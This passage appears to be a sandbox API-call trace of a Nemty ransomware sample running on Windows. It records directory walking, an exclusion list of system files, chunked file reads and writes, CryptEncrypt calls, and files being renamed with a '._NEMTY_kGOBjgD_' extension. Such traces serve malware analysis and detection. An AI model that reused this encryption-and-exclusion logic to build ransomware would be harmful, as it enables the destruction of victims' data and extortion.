lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.740] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.740] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0091.740] CloseHandle (hObject=0xffffffff) returned 0 [0091.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0091.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0091.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0091.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0091.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0091.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0091.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0091.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0091.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0091.741] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png._nemty_kgobjgd_")) returned 0 [0091.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0091.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0091.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0091.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0091.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0091.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0091.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0091.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.741] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0091.741] lstrcmpiW (lpString1="720_480shadow.png", lpString2=".") returned 1 [0091.741] lstrcmpiW (lpString1="720_480shadow.png", lpString2="..") returned 1 [0091.741] lstrcmpiW (lpString1="720_480shadow.png", lpString2="...") returned 1 [0091.741] lstrcmpiW (lpString1="720_480shadow.png", lpString2="windows") returned -1 [0091.741] lstrcmpiW (lpString1="720_480shadow.png", lpString2="$RECYCLE.BIN") returned 1 [0091.741] lstrcmpiW (lpString1="720_480shadow.png", lpString2="rsa") returned -1 [0091.741] lstrcmpiW (lpString1="720_480shadow.png", lpString2="NTDETECT.COM") returned -1 [0091.741] lstrcmpiW (lpString1="720_480shadow.png", lpString2="ntldr") returned -1 [0091.741] lstrcmpiW (lpString1="720_480shadow.png", lpString2="MSDOS.SYS") returned -1 [0091.741] lstrcmpiW (lpString1="720_480shadow.png", lpString2="IO.SYS") returned -1 [0091.742] lstrcmpiW (lpString1="720_480shadow.png", lpString2="boot.ini") returned -1 [0091.742] lstrcmpiW (lpString1="720_480shadow.png", lpString2="boot.ini") returned -1 [0091.742] lstrcmpiW (lpString1="720_480shadow.png", lpString2="AUTOEXEC.BAT") returned -1 [0091.742] lstrcmpiW (lpString1="720_480shadow.png", lpString2="ntuser.dat") returned -1 [0091.742] lstrcmpiW (lpString1="720_480shadow.png", lpString2="desktop.ini") returned -1 [0091.742] lstrcmpiW (lpString1="720_480shadow.png", lpString2="CONFIG.SYS") returned -1 [0091.742] lstrcmpiW (lpString1="720_480shadow.png", lpString2="RECYCLER") returned -1 [0091.742] lstrcmpiW (lpString1="720_480shadow.png", lpString2="BOOTSECT.BAK") returned -1 [0091.742] lstrcmpiW (lpString1="720_480shadow.png", lpString2="bootmgr") returned -1 [0091.742] lstrcmpiW (lpString1="720_480shadow.png", lpString2="programdata") returned -1 [0091.742] lstrcmpiW (lpString1="720_480shadow.png", lpString2="appdata") returned -1 [0091.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720_480shadow.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0091.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720_480shadow.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720_480shadow.png", lpUsedDefaultChar=0x0) returned 17 [0091.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0091.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720_480shadow.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0091.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720_480shadow.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720_480shadow.png", lpUsedDefaultChar=0x0) returned 17 [0091.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0091.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720_480shadow.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0091.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720_480shadow.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720_480shadow.png", lpUsedDefaultChar=0x0) returned 17 [0091.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720_480shadow.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0091.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0091.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720_480shadow.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720_480shadow.png", lpUsedDefaultChar=0x0) returned 17 [0091.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0091.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0091.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0091.742] Sleep (dwMilliseconds=0x5) [0091.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea569c70, dwHighDateTime=0x1d561e7)) [0091.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea569c70, dwHighDateTime=0x1d561e7)) [0091.766] GetLastError () returned 0x5 [0091.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.766] GetLastError () returned 0x5 [0091.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0091.766] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0091.766] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0091.766] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0091.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0091.766] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="zXWjDzJYKllZr3RlQtBrWKA1LcmVqoYEzexPkhvMv8qEOEsjECS2gTwSlm14JiCs\r\n5xZ+7CNA2e0azWf+/+2cc21/czTHfjTkx2rXecihGe9CrlLlqZYKL1A8vUu1iaKa\r\nONY79TBmSEMdVPTWlxZCnhjsjpaTSDcjGVyFVQbHfBrTXjbIDspbjh/b8DmN+LVQ\r\nPOIspki0uaPHr1jFFW6yV6ibibo31R/ZVLE4kU00Am9Jkd1QcQFFn5tUgxQbbZqY\r\ncvkxhvuQZs47N1ZhAE4dCxcOThNmI83Y8I20GLz96B2rR9GJcEHUBio9Ww5eN7+d\r\nl3mfx+QAFl82ZkbKrzZFgw==\r\n", pcchString=0x653e91c) returned 1 [0091.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0091.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0091.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0091.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0091.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0091.766] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.766] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0091.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0091.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.767] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.776] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.776] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.785] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.795] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.805] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.814] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.844] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.853] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.853] SetFilePointer 